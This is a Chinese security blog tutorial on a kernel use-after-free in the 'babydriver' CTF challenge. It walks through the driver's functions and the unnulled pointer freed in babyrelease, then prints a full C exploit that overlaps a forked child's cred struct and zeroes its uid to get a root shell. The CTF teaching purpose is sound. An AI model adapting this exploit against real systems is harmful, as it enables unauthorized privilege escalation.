Kernel pwn基础教学之Kernel UAF
蚁景网安
2026年10月19日 17:30
湖南
去阅读
以下文章来源于蚁景网络安全
,作者AmaIIl
蚁景网络安全
.
致力于为你带来更实用的网络安全技术内容!
前言
这边选择的例题是baby driver,感觉做这道题的时候有种梦回第一道栈溢出题目的感觉。但是网上很多资料讲解本题时关于字符驱动这块并没有讲解,也就造成了我一开始做这道题目的时候仅仅是照着网上的WP复现了一下并没有做到真正读懂这道题,所以这篇博客除了UAF的内容还会留出一些篇幅给字符驱动设备上。
1、题目分析
kernel pwn给出的附件不再是原先的Binary和libc,其附件中给出的文件如下所示
boot.sh --> 启动脚本
rootfs.cpio --> 文件系统,可以从init文件中发现
bzImage --> 压缩后的内核文件,可以使用extract_vmlinux+vmlinux_to_elf从中提取出vmlinux内核文件
首先我们解压rootfs.cpio,并查看init文件内容
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e \"\
Boot took $(cut -d' ' -f1 /proc/uptime) seconds\
\"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
可以看到在启动脚本里有一个加载模块的命令insmod,而这个ko文件就是我们需要分析的二进制文件。使用ida打开它可以看到里面的函数并不算多,咱们一个个来看。
babydriver\_init
首先使用alloc\_chrdev\_region函数动态获取了一个驱动号,然后初始化了cdev结构体,在linux中通过cdev结构体来表示一个字符设备,并使用cdev\_add函数添加(注册)了字符设备,执行成功后使用\_class\_create函数创建相应的class,然后通过device\_create函数添加设备。这里我一开始理解的时候存在一些疑问,既然在linux中是通过cdev来表示一个字符设备的,那么class存在的意义是什么?后来在查阅资料的过程中了解到linux中存在两种设备系统devfs与sysfs,而class的意义便是创建设备节点,sysfs通过class\_create和device\_create在设备树中创建相应的设备,应用层udev会自动根据设备树的变化生成相应的设备节点。在2.6版本以前的内核通过cdev\_init和cdev\_add添加字符设备以后需要手动创建设备节点,而现在则是通过使用\_class\_create与device\_create函数往sysfs中完成设备节点创建的任务。
与init对应的便是exit,这个函数的任务就是将我们刚才所创建的东西全部回收。
babyopen
通过kmem\_cache\_alloc\_trace函数开辟0x40的空间给babydev\_struct的device\_buf成员,在这里我们可以注意到babydev\_struct是一个全局变量,并且其中存在buf与buf\_len两个成员变量。
baby\_read
首先会判断device\_buf与device\_buf\_len,然后通过copy\_to\_usr函数将length长度的内容从device\_buf读入到buffer中
babywrite
通过copy\_from\_user函数将length长度的内容从buffer读入device\_buf
babyioctl
当我们指定的command为0x10001时会释放掉原先的buf,然后kmalloc申请指定大小的内存空间。
babyrelease
kfree释放buf但是没有置空存在UAF漏洞
三、漏洞利用
经过刚才的分析我们了解到结构体babydev\_struct结构体为全局变量,并且程序在close的时候没有置空指针,造成了UAF漏洞。所以我们可以在一个进程中同时open两次babydev分别记作fd1和fd2,此时device\_buf中的地址为fd2\_device\_buf的内存空间,而我们关闭fd1以后fd2的buf空间被释放,但是我们依然可以通过fd2进行写入。我们利用内核内存管理机制通过fork一个子进程时将cred落在fd2\_device\_buf上,fork出的子进程cred与父进程一致,当我们对fd2\_device\_buf进行写入操作也就是对子进程的cred进行操作。但是原始开辟的空间大小是0x40,所以我们在关闭fd1之前需要通过ioctl将device\_buf的大小改成和cred结构体大小一样,这样在我们fork一个子进程的时候cred便会落在我们可控的内存上,将子进程的uid修改为0即可完成提权。
EXP:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
int main(){
int fd_1 = open(\"/dev/babydev\", 2);
int fd_2 = open(\"/dev/babydev\", 2);
ioctl(fd_1, 0x10001, 0xa8);
close(fd_1);
int pid = fork();
if (pid < 0) {
puts(\"[-] fork error.\");
exit(0);
}
elseif (pid == 0) {
char zero[32] = {0};
write(fd_2, zero, sizeof(zero));
if (getuid() == 0) {
puts(\"[+] root now.\");
system(\"/bin/sh\");
}
}
else {
wait(NULL);
}
close(fd_2);
return 0;
}
写好exp以后进行静态编译,将其放到原先解压好的文件系统中,然后重新打包
find . | cpio -o --format=newc > rootfs.cpio
执行boot.sh启动qemu
学习网安实战技术,戳“阅读原文”
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论